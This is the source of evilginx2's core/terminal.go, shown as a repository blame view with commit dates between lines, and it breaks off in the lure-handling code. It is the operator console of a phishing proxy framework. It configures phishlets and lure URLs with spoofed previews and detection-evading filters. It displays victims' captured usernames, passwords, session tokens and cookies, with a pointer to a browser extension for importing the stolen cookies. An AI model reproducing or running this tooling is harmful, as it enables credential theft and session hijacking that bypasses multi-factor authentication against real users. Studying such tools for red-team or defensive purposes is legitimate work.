evilginx2/core/terminal.go

1802 lines
54 KiB
Go
Raw Permalink Normal View History

2018-07-26 11:20:37 +02:00
package core
import (
2020-09-14 13:10:53 +02:00
"bufio"
"crypto/rc4"
"encoding/base64"
"encoding/csv"
2018-07-26 11:20:37 +02:00
"encoding/json"
"fmt"
"io"
2020-09-14 13:10:53 +02:00
"io/ioutil"
"math/rand"
2018-07-26 11:20:37 +02:00
"net/url"
2020-09-14 13:10:53 +02:00
"os"
"path/filepath"
"regexp"
2023-05-10 11:04:32 +02:00
"sort"
2018-07-26 11:20:37 +02:00
"strconv"
"strings"
"time"
2019-10-13 17:05:47 +02:00
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
"github.com/kgretzky/evilginx2/parser"
2018-07-26 11:20:37 +02:00
"github.com/chzyer/readline"
"github.com/fatih/color"
)
const (
DEFAULT_PROMPT = ": "
LAYER_TOP = 1
)
type Terminal struct {
rl *readline.Instance
completer *readline.PrefixCompleter
cfg *Config
crt_db *CertDb
2020-09-14 13:10:53 +02:00
p *HttpProxy
2018-07-26 11:20:37 +02:00
db *database.Database
hlp *Help
2018-09-08 13:45:17 +02:00
developer bool
2018-07-26 11:20:37 +02:00
}
2020-09-14 13:10:53 +02:00
func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
2018-07-26 11:20:37 +02:00
var err error
t := &Terminal{
2018-09-08 13:45:17 +02:00
cfg: cfg,
crt_db: crt_db,
2020-09-14 13:10:53 +02:00
p: p,
2018-09-08 13:45:17 +02:00
db: db,
developer: developer,
2018-07-26 11:20:37 +02:00
}
t.createHelp()
t.completer = t.hlp.GetPrefixCompleter(LAYER_TOP)
2023-05-10 11:04:32 +02:00
2018-07-26 11:20:37 +02:00
t.rl, err = readline.NewEx(&readline.Config{
Prompt: DEFAULT_PROMPT,
AutoComplete: t.completer,
InterruptPrompt: "^C",
EOFPrompt: "exit",
FuncFilterInputRune: t.filterInput,
})
if err != nil {
return nil, err
}
return t, nil
}
func (t *Terminal) Close() {
t.rl.Close()
}
func (t *Terminal) output(s string, args ...interface{}) {
out := fmt.Sprintf(s, args...)
fmt.Fprintf(color.Output, "\n%s\n", out)
2018-07-26 11:20:37 +02:00
}
func (t *Terminal) DoWork() {
var do_quit = false
t.checkStatus()
log.SetReadline(t.rl)
t.cfg.refreshActiveHostnames()
2023-05-10 11:04:32 +02:00
t.manageCertificates(true)
2018-07-26 11:20:37 +02:00
t.output("%s", t.sprintPhishletStatus(""))
go t.monitorLurePause()
2018-07-26 11:20:37 +02:00
for !do_quit {
line, err := t.rl.Readline()
if err == readline.ErrInterrupt {
log.Info("type 'exit' in order to quit")
continue
} else if err == io.EOF {
break
}
line = strings.TrimSpace(line)
args, err := parser.Parse(line)
if err != nil {
log.Error("syntax error: %v", err)
}
argn := len(args)
if argn == 0 {
t.checkStatus()
continue
}
cmd_ok := false
switch args[0] {
case "clear":
cmd_ok = true
readline.ClearScreen(color.Output)
case "config":
cmd_ok = true
err := t.handleConfig(args[1:])
if err != nil {
log.Error("config: %v", err)
}
2020-09-14 13:10:53 +02:00
case "proxy":
cmd_ok = true
err := t.handleProxy(args[1:])
if err != nil {
log.Error("proxy: %v", err)
}
2018-07-26 11:20:37 +02:00
case "sessions":
cmd_ok = true
err := t.handleSessions(args[1:])
if err != nil {
log.Error("sessions: %v", err)
}
case "phishlets":
cmd_ok = true
err := t.handlePhishlets(args[1:])
if err != nil {
log.Error("phishlets: %v", err)
}
2019-01-22 11:32:20 +01:00
case "lures":
cmd_ok = true
err := t.handleLures(args[1:])
if err != nil {
log.Error("lures: %v", err)
}
2020-09-14 13:10:53 +02:00
case "blacklist":
cmd_ok = true
err := t.handleBlacklist(args[1:])
if err != nil {
log.Error("blacklist: %v", err)
}
2023-05-10 11:04:32 +02:00
case "test-certs":
cmd_ok = true
t.manageCertificates(true)
2018-07-26 11:20:37 +02:00
case "help":
cmd_ok = true
if len(args) == 2 {
if err := t.hlp.PrintBrief(args[1]); err != nil {
log.Error("help: %v", err)
}
} else {
t.hlp.Print(0)
}
case "q", "quit", "exit":
do_quit = true
cmd_ok = true
default:
log.Error("unknown command: %s", args[0])
cmd_ok = true
}
if !cmd_ok {
log.Error("invalid syntax: %s", line)
}
t.checkStatus()
}
}
func (t *Terminal) handleConfig(args []string) error {
pn := len(args)
if pn == 0 {
autocertOnOff := "off"
if t.cfg.IsAutocertEnabled() {
autocertOnOff = "on"
}
2024-04-01 13:29:29 +02:00
gophishInsecure := "false"
if t.cfg.GetGoPhishInsecureTLS() {
gophishInsecure = "true"
}
keys := []string{"domain", "external_ipv4", "bind_ipv4", "https_port", "dns_port", "unauth_url", "autocert", "gophish admin_url", "gophish api_key", "gophish insecure"}
vals := []string{t.cfg.general.Domain, t.cfg.general.ExternalIpv4, t.cfg.general.BindIpv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.UnauthUrl, autocertOnOff, t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), gophishInsecure}
2018-07-26 11:20:37 +02:00
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 2 {
switch args[0] {
case "domain":
t.cfg.SetBaseDomain(args[1])
t.cfg.ResetAllSites()
2023-05-10 11:04:32 +02:00
t.manageCertificates(false)
2018-07-26 11:20:37 +02:00
return nil
2023-05-10 11:04:32 +02:00
case "ipv4":
2023-07-11 10:03:54 +02:00
t.cfg.SetServerExternalIP(args[1])
2018-07-26 11:20:37 +02:00
return nil
case "unauth_url":
2020-09-14 13:10:53 +02:00
if len(args[1]) > 0 {
_, err := url.ParseRequestURI(args[1])
if err != nil {
return err
}
}
t.cfg.SetUnauthUrl(args[1])
2020-09-14 13:10:53 +02:00
return nil
case "autocert":
switch args[1] {
case "on":
t.cfg.EnableAutocert(true)
t.manageCertificates(true)
return nil
case "off":
t.cfg.EnableAutocert(false)
t.manageCertificates(true)
return nil
}
2024-04-01 13:29:29 +02:00
case "gophish":
switch args[1] {
case "test":
t.p.gophish.Setup(t.cfg.GetGoPhishAdminUrl(), t.cfg.GetGoPhishApiKey(), t.cfg.GetGoPhishInsecureTLS())
err := t.p.gophish.Test()
if err != nil {
log.Error("gophish: %s", err)
} else {
log.Success("gophish: connection successful")
}
return nil
}
2020-09-14 13:10:53 +02:00
}
2023-07-11 10:03:54 +02:00
} else if pn == 3 {
switch args[0] {
case "ipv4":
switch args[1] {
case "external":
t.cfg.SetServerExternalIP(args[2])
return nil
case "bind":
t.cfg.SetServerBindIP(args[2])
return nil
}
2024-04-01 13:29:29 +02:00
case "gophish":
switch args[1] {
case "admin_url":
t.cfg.SetGoPhishAdminUrl(args[2])
return nil
case "api_key":
t.cfg.SetGoPhishApiKey(args[2])
return nil
case "insecure":
switch args[2] {
case "true":
t.cfg.SetGoPhishInsecureTLS(true)
return nil
case "false":
t.cfg.SetGoPhishInsecureTLS(false)
return nil
}
}
2023-07-11 10:03:54 +02:00
}
2020-09-14 13:10:53 +02:00
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleBlacklist(args []string) error {
pn := len(args)
if pn == 0 {
mode := t.cfg.GetBlacklistMode()
2023-05-10 11:04:32 +02:00
ip_num, mask_num := t.p.bl.GetStats()
2020-09-14 13:10:53 +02:00
log.Info("blacklist mode set to: %s", mode)
2023-05-10 11:04:32 +02:00
log.Info("blacklist: loaded %d ip addresses and %d ip masks", ip_num, mask_num)
2020-09-14 13:10:53 +02:00
return nil
} else if pn == 1 {
switch args[0] {
case "all":
t.cfg.SetBlacklistMode(args[0])
return nil
case "unauth":
t.cfg.SetBlacklistMode(args[0])
return nil
2023-05-10 11:04:32 +02:00
case "noadd":
t.cfg.SetBlacklistMode(args[0])
return nil
2020-09-14 13:10:53 +02:00
case "off":
t.cfg.SetBlacklistMode(args[0])
return nil
}
2023-05-10 11:04:32 +02:00
} else if pn == 2 {
switch args[0] {
case "log":
switch args[1] {
case "on":
t.p.bl.SetVerbose(true)
log.Info("blacklist log output: enabled")
return nil
case "off":
t.p.bl.SetVerbose(false)
log.Info("blacklist log output: disabled")
return nil
}
}
2020-09-14 13:10:53 +02:00
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleProxy(args []string) error {
pn := len(args)
if pn == 0 {
var proxy_enabled string = "no"
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
proxy_enabled = "yes"
}
keys := []string{"enabled", "type", "address", "port", "username", "password"}
2023-05-10 11:04:32 +02:00
vals := []string{proxy_enabled, t.cfg.proxyConfig.Type, t.cfg.proxyConfig.Address, strconv.Itoa(t.cfg.proxyConfig.Port), t.cfg.proxyConfig.Username, t.cfg.proxyConfig.Password}
2020-09-14 13:10:53 +02:00
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 1 {
switch args[0] {
case "enable":
2023-05-10 11:04:32 +02:00
err := t.p.setProxy(true, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
2018-07-26 11:20:37 +02:00
if err != nil {
return err
}
2020-09-14 13:10:53 +02:00
t.cfg.EnableProxy(true)
log.Important("you need to restart evilginx for the changes to take effect!")
return nil
case "disable":
2023-05-10 11:04:32 +02:00
err := t.p.setProxy(false, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
2020-09-14 13:10:53 +02:00
if err != nil {
return err
}
t.cfg.EnableProxy(false)
return nil
}
} else if pn == 2 {
switch args[0] {
case "type":
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyType(args[1])
return nil
case "address":
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyAddress(args[1])
return nil
case "port":
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
port, err := strconv.Atoi(args[1])
if err != nil {
return err
}
t.cfg.SetProxyPort(port)
return nil
case "username":
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyUsername(args[1])
return nil
case "password":
2023-05-10 11:04:32 +02:00
if t.cfg.proxyConfig.Enabled {
2020-09-14 13:10:53 +02:00
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyPassword(args[1])
2018-07-26 11:20:37 +02:00
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleSessions(args []string) error {
lblue := color.New(color.FgHiBlue)
dgray := color.New(color.FgHiBlack)
lgreen := color.New(color.FgHiGreen)
yellow := color.New(color.FgYellow)
2023-05-10 11:04:32 +02:00
lyellow := color.New(color.FgHiYellow)
2018-07-26 11:20:37 +02:00
lred := color.New(color.FgHiRed)
cyan := color.New(color.FgCyan)
2023-05-10 11:04:32 +02:00
white := color.New(color.FgHiWhite)
2018-07-26 11:20:37 +02:00
pn := len(args)
if pn == 0 {
cols := []string{"id", "phishlet", "username", "password", "tokens", "remote ip", "time"}
sessions, err := t.db.ListSessions()
if err != nil {
return err
}
if len(sessions) == 0 {
log.Info("no saved sessions found")
return nil
}
var rows [][]string
for _, s := range sessions {
tcol := dgray.Sprintf("none")
2023-05-10 11:04:32 +02:00
if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
2018-07-26 11:20:37 +02:00
tcol = lgreen.Sprintf("captured")
}
row := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(truncateString(s.Username, 24)), lblue.Sprintf(truncateString(s.Password, 24)), tcol, yellow.Sprintf(s.RemoteAddr), time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04")}
rows = append(rows, row)
}
log.Printf("\n%s\n", AsTable(cols, rows))
return nil
} else if pn == 1 {
id, err := strconv.Atoi(args[0])
if err != nil {
return err
}
sessions, err := t.db.ListSessions()
if err != nil {
return err
}
if len(sessions) == 0 {
log.Info("no saved sessions found")
return nil
}
s_found := false
for _, s := range sessions {
if s.Id == id {
2024-03-01 15:48:42 +01:00
_, err := t.cfg.GetPhishlet(s.Phishlet)
if err != nil {
log.Error("%v", err)
break
}
2018-07-26 11:20:37 +02:00
s_found = true
tcol := dgray.Sprintf("empty")
2023-05-10 11:04:32 +02:00
if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
2018-07-26 11:20:37 +02:00
tcol = lgreen.Sprintf("captured")
}
keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"}
vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))}
2023-05-10 11:04:32 +02:00
log.Printf("\n%s\n", AsRows(keys, vals))
if len(s.Custom) > 0 {
2023-07-11 10:03:54 +02:00
tkeys := []string{}
tvals := []string{}
for k, v := range s.Custom {
2023-07-11 10:03:54 +02:00
tkeys = append(tkeys, k)
tvals = append(tvals, cyan.Sprint(v))
}
2023-07-11 10:03:54 +02:00
log.Printf("[ %s ]\n%s\n", white.Sprint("custom"), AsRows(tkeys, tvals))
}
2018-07-26 11:20:37 +02:00
2023-05-10 11:04:32 +02:00
if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
if len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
//var str_tokens string
tkeys := []string{}
tvals := []string{}
for k, v := range s.BodyTokens {
tkeys = append(tkeys, k)
tvals = append(tvals, white.Sprint(v))
}
for k, v := range s.HttpTokens {
tkeys = append(tkeys, k)
tvals = append(tvals, white.Sprint(v))
}
log.Printf("[ %s ]\n%s\n", lgreen.Sprint("tokens"), AsRows(tkeys, tvals))
}
if len(s.CookieTokens) > 0 {
2024-03-01 15:48:42 +01:00
json_tokens := t.cookieTokensToJSON(s.CookieTokens)
2023-05-10 11:04:32 +02:00
log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens)
log.Printf("%s %s %s %s%s\n\n", dgray.Sprint("(use"), cyan.Sprint("StorageAce"), dgray.Sprint("extension to import the cookies:"), white.Sprint("https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo"), dgray.Sprint(")"))
2023-05-10 11:04:32 +02:00
}
2018-07-26 11:20:37 +02:00
}
break
}
}
if !s_found {
return fmt.Errorf("id %d not found", id)
}
return nil
} else if pn == 2 {
switch args[0] {
case "delete":
if args[1] == "all" {
sessions, err := t.db.ListSessions()
if err != nil {
return err
}
if len(sessions) == 0 {
break
}
for _, s := range sessions {
err = t.db.DeleteSessionById(s.Id)
if err != nil {
log.Warning("delete: %v", err)
} else {
log.Info("deleted session with ID: %d", s.Id)
}
}
t.db.Flush()
return nil
} else {
rc := strings.Split(args[1], ",")
for _, pc := range rc {
pc = strings.TrimSpace(pc)
rd := strings.Split(pc, "-")
if len(rd) == 2 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
log.Error("delete: %v", err)
break
}
e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
if err != nil {
log.Error("delete: %v", err)
break
}
for i := b_id; i <= e_id; i++ {
err = t.db.DeleteSessionById(i)
if err != nil {
log.Warning("delete: %v", err)
} else {
log.Info("deleted session with ID: %d", i)
}
}
} else if len(rd) == 1 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
log.Error("delete: %v", err)
break
}
err = t.db.DeleteSessionById(b_id)
if err != nil {
log.Warning("delete: %v", err)
} else {
log.Info("deleted session with ID: %d", b_id)
}
}
}
t.db.Flush()
return nil
}
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handlePhishlets(args []string) error {
pn := len(args)
2023-05-10 11:04:32 +02:00
if pn >= 3 && args[0] == "create" {
pl, err := t.cfg.GetPhishlet(args[1])
if err == nil {
params := make(map[string]string)
var create_ok bool = true
if pl.isTemplate {
for n := 3; n < pn; n++ {
val := args[n]
sp := strings.Index(val, "=")
if sp == -1 {
return fmt.Errorf("set custom parameters for the child phishlet using format 'param1=value1 param2=value2'")
}
k := val[:sp]
v := val[sp+1:]
params[k] = v
log.Info("adding parameter: %s='%s'", k, v)
}
}
if create_ok {
child_name := args[1] + ":" + args[2]
err := t.cfg.AddSubPhishlet(child_name, args[1], params)
if err != nil {
log.Error("%v", err)
} else {
t.cfg.SaveSubPhishlets()
log.Info("created child phishlet: %s", child_name)
}
}
return nil
} else {
log.Error("%v", err)
}
} else if pn == 0 {
2018-07-26 11:20:37 +02:00
t.output("%s", t.sprintPhishletStatus(""))
return nil
2023-05-10 11:04:32 +02:00
} else if pn == 1 {
_, err := t.cfg.GetPhishlet(args[0])
if err == nil {
t.output("%s", t.sprintPhishletStatus(args[0]))
return nil
}
2018-07-26 11:20:37 +02:00
} else if pn == 2 {
switch args[0] {
2023-05-10 11:04:32 +02:00
case "delete":
err := t.cfg.DeleteSubPhishlet(args[1])
if err != nil {
log.Error("%v", err)
return nil
}
t.cfg.SaveSubPhishlets()
log.Info("deleted child phishlet: %s", args[1])
return nil
2018-07-26 11:20:37 +02:00
case "enable":
2023-05-10 11:04:32 +02:00
pl, err := t.cfg.GetPhishlet(args[1])
2018-07-26 11:20:37 +02:00
if err != nil {
log.Error("%v", err)
break
}
2023-05-10 11:04:32 +02:00
if pl.isTemplate {
return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", args[1])
2018-07-26 11:20:37 +02:00
}
err = t.cfg.SetSiteEnabled(args[1])
if err != nil {
2023-05-10 11:04:32 +02:00
t.cfg.SetSiteDisabled(args[1])
2018-07-26 11:20:37 +02:00
return err
}
2023-05-10 11:04:32 +02:00
t.manageCertificates(true)
2018-07-26 11:20:37 +02:00
return nil
case "disable":
err := t.cfg.SetSiteDisabled(args[1])
if err != nil {
return err
}
2023-05-10 11:04:32 +02:00
t.manageCertificates(false)
2018-07-26 11:20:37 +02:00
return nil
case "hide":
err := t.cfg.SetSiteHidden(args[1], true)
if err != nil {
return err
}
return nil
case "unhide":
err := t.cfg.SetSiteHidden(args[1], false)
if err != nil {
return err
}
return nil
2018-09-08 13:45:17 +02:00
case "get-hosts":
pl, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
2023-05-10 11:04:32 +02:00
bhost, ok := t.cfg.GetSiteDomain(pl.Name)
2018-09-08 13:45:17 +02:00
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
out := ""
2023-05-10 11:04:32 +02:00
hosts := pl.GetPhishHosts(false)
2018-09-08 13:45:17 +02:00
for n, h := range hosts {
if n > 0 {
out += "\n"
}
2023-07-11 10:03:54 +02:00
out += t.cfg.GetServerExternalIP() + " " + h
2018-09-08 13:45:17 +02:00
}
t.output("%s\n", out)
2018-09-08 13:45:17 +02:00
return nil
2018-07-26 11:20:37 +02:00
}
} else if pn == 3 {
switch args[0] {
case "hostname":
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
if ok := t.cfg.SetSiteHostname(args[1], args[2]); ok {
t.cfg.SetSiteDisabled(args[1])
2023-05-10 11:04:32 +02:00
t.manageCertificates(false)
2018-07-26 11:20:37 +02:00
}
return nil
case "unauth_url":
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
t.cfg.SetSiteUnauthUrl(args[1], args[2])
return nil
2018-07-26 11:20:37 +02:00
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
2019-01-22 11:32:20 +01:00
func (t *Terminal) handleLures(args []string) error {
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
higreen := color.New(color.FgHiGreen)
2020-09-14 13:10:53 +02:00
green := color.New(color.FgGreen)
2019-01-22 11:32:20 +01:00
//hiwhite := color.New(color.FgHiWhite)
hcyan := color.New(color.FgHiCyan)
cyan := color.New(color.FgCyan)
dgray := color.New(color.FgHiBlack)
2020-09-14 13:10:53 +02:00
white := color.New(color.FgHiWhite)
2019-01-22 11:32:20 +01:00
pn := len(args)
if pn == 0 {
// list lures
t.output("%s", t.sprintLures())
return nil
}
if pn > 0 {
switch args[0] {
case "create":
if pn == 2 {
_, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
t.cfg.AddLure(args[1], l)
log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "get-url":
2020-09-14 13:10:53 +02:00
if pn >= 2 {
2019-01-22 11:32:20 +01:00
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
pl, err := t.cfg.GetPhishlet(l.Phishlet)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
2023-05-10 11:04:32 +02:00
bhost, ok := t.cfg.GetSiteDomain(pl.Name)
2019-01-22 11:32:20 +01:00
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
2020-09-14 13:10:53 +02:00
var base_url string
if l.Hostname != "" {
base_url = "https://" + l.Hostname + l.Path
} else {
purl, err := pl.GetLureUrl(l.Path)
if err != nil {
return err
}
base_url = purl
2019-01-22 11:32:20 +01:00
}
2020-09-14 13:10:53 +02:00
var phish_urls []string
var phish_params []map[string]string
var out string
params := url.Values{}
if pn > 2 {
if args[2] == "import" {
if pn < 4 {
return fmt.Errorf("get-url: no import path specified")
}
params_file := args[3]
phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file)
if err != nil {
return fmt.Errorf("get_url: %v", err)
}
if pn >= 5 {
if args[4] == "export" {
if pn == 5 {
return fmt.Errorf("get-url: no export path specified")
}
export_path := args[5]
format := "text"
if pn == 7 {
format = args[6]
}
err = t.exportPhishUrls(export_path, phish_urls, phish_params, format)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path)
phish_urls = []string{}
} else {
return fmt.Errorf("get-url: expected 'export': %s", args[4])
}
}
} else {
// params present
for n := 2; n < pn; n++ {
val := args[n]
sp := strings.Index(val, "=")
if sp == -1 {
return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'")
}
k := val[:sp]
v := val[sp+1:]
params.Add(k, v)
log.Info("adding parameter: %s='%s'", k, v)
}
phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
}
} else {
phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
}
for n, phish_url := range phish_urls {
out += hiblue.Sprint(phish_url)
var params_row string
var params string
if len(phish_params) > 0 {
params_row := phish_params[n]
m := 0
for k, v := range params_row {
if m > 0 {
params += " "
}
params += fmt.Sprintf("%s=\"%s\"", k, v)
m += 1
}
}
if len(params_row) > 0 {
out += " ; " + params
}
out += "\n"
}
t.output("%s", out)
2019-01-22 11:32:20 +01:00
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "pause":
if pn == 3 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("pause: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("pause: %v", err)
}
s_duration := args[2]
t_dur, err := ParseDurationString(s_duration)
if err != nil {
return fmt.Errorf("pause: %v", err)
}
t_now := time.Now()
log.Info("current time: %s", t_now.Format("2006-01-02 15:04:05"))
log.Info("unpauses at: %s", t_now.Add(t_dur).Format("2006-01-02 15:04:05"))
l.PausedUntil = t_now.Add(t_dur).Unix()
err = t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
case "unpause":
if pn == 2 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("pause: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("pause: %v", err)
}
log.Info("lure for phishlet '%s' unpaused", l.Phishlet)
l.PausedUntil = 0
err = t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
2019-01-22 11:32:20 +01:00
case "edit":
if pn == 4 {
2020-09-14 13:10:53 +02:00
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
2019-01-22 11:32:20 +01:00
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l, err := t.cfg.GetLure(l_id)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
val := args[3]
do_update := false
2020-09-14 13:10:53 +02:00
switch args[2] {
case "hostname":
if val != "" {
val = strings.ToLower(val)
2023-05-10 11:04:32 +02:00
if val != t.cfg.general.Domain && !strings.HasSuffix(val, "."+t.cfg.general.Domain) {
return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.general.Domain)
2020-09-14 13:10:53 +02:00
}
host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
if !host_re.MatchString(val) {
return fmt.Errorf("edit: invalid hostname")
}
2023-05-10 11:04:32 +02:00
2020-09-14 13:10:53 +02:00
l.Hostname = val
t.cfg.refreshActiveHostnames()
2023-05-10 11:04:32 +02:00
t.manageCertificates(true)
2020-09-14 13:10:53 +02:00
} else {
l.Hostname = ""
}
do_update = true
log.Info("hostname = '%s'", l.Hostname)
2019-01-22 11:32:20 +01:00
case "path":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l.Path = u.EscapedPath()
if len(l.Path) == 0 || l.Path[0] != '/' {
l.Path = "/" + l.Path
}
} else {
l.Path = "/"
}
do_update = true
log.Info("path = '%s'", l.Path)
case "redirect_url":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: redirect url must be absolute")
}
l.RedirectUrl = u.String()
} else {
l.RedirectUrl = ""
}
do_update = true
log.Info("redirect_url = '%s'", l.RedirectUrl)
case "phishlet":
_, err := t.cfg.GetPhishlet(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
l.Phishlet = val
do_update = true
log.Info("phishlet = '%s'", l.Phishlet)
case "info":
l.Info = val
do_update = true
log.Info("info = '%s'", l.Info)
case "og_title":
l.OgTitle = val
do_update = true
log.Info("og_title = '%s'", l.OgTitle)
case "og_desc":
l.OgDescription = val
do_update = true
log.Info("og_desc = '%s'", l.OgDescription)
case "og_image":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: image url must be absolute")
}
l.OgImageUrl = u.String()
} else {
l.OgImageUrl = ""
}
do_update = true
log.Info("og_image = '%s'", l.OgImageUrl)
case "og_url":
if val != "" {
u, err := url.Parse(val)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
if !u.IsAbs() {
return fmt.Errorf("edit: site url must be absolute")
}
l.OgUrl = u.String()
} else {
l.OgUrl = ""
}
do_update = true
log.Info("og_url = '%s'", l.OgUrl)
2023-05-10 11:04:32 +02:00
case "redirector":
2020-09-14 13:10:53 +02:00
if val != "" {
path := val
if !filepath.IsAbs(val) {
2023-05-10 11:04:32 +02:00
redirectors_dir := t.cfg.GetRedirectorsDir()
path = filepath.Join(redirectors_dir, val)
2020-09-14 13:10:53 +02:00
}
if _, err := os.Stat(path); !os.IsNotExist(err) {
2023-05-10 11:04:32 +02:00
l.Redirector = val
2020-09-14 13:10:53 +02:00
} else {
2023-05-10 11:04:32 +02:00
return fmt.Errorf("edit: redirector directory does not exist: %s", path)
2020-09-14 13:10:53 +02:00
}
} else {
2023-05-10 11:04:32 +02:00
l.Redirector = ""
2019-01-22 11:32:20 +01:00
}
2020-09-14 13:10:53 +02:00
do_update = true
2023-05-10 11:04:32 +02:00
log.Info("redirector = '%s'", l.Redirector)
2020-09-14 13:10:53 +02:00
case "ua_filter":
if val != "" {
if _, err := regexp.Compile(val); err != nil {
return err
}
l.UserAgentFilter = val
2019-01-22 11:32:20 +01:00
} else {
2020-09-14 13:10:53 +02:00
l.UserAgentFilter = ""
2019-01-22 11:32:20 +01:00
}
do_update = true
2020-09-14 13:10:53 +02:00
log.Info("ua_filter = '%s'", l.UserAgentFilter)
2019-01-22 11:32:20 +01:00
}
if do_update {
err := t.cfg.SetLure(l_id, l)
if err != nil {
return fmt.Errorf("edit: %v", err)
}
return nil
}
} else {
return fmt.Errorf("incorrect number of arguments")
}
case "delete":
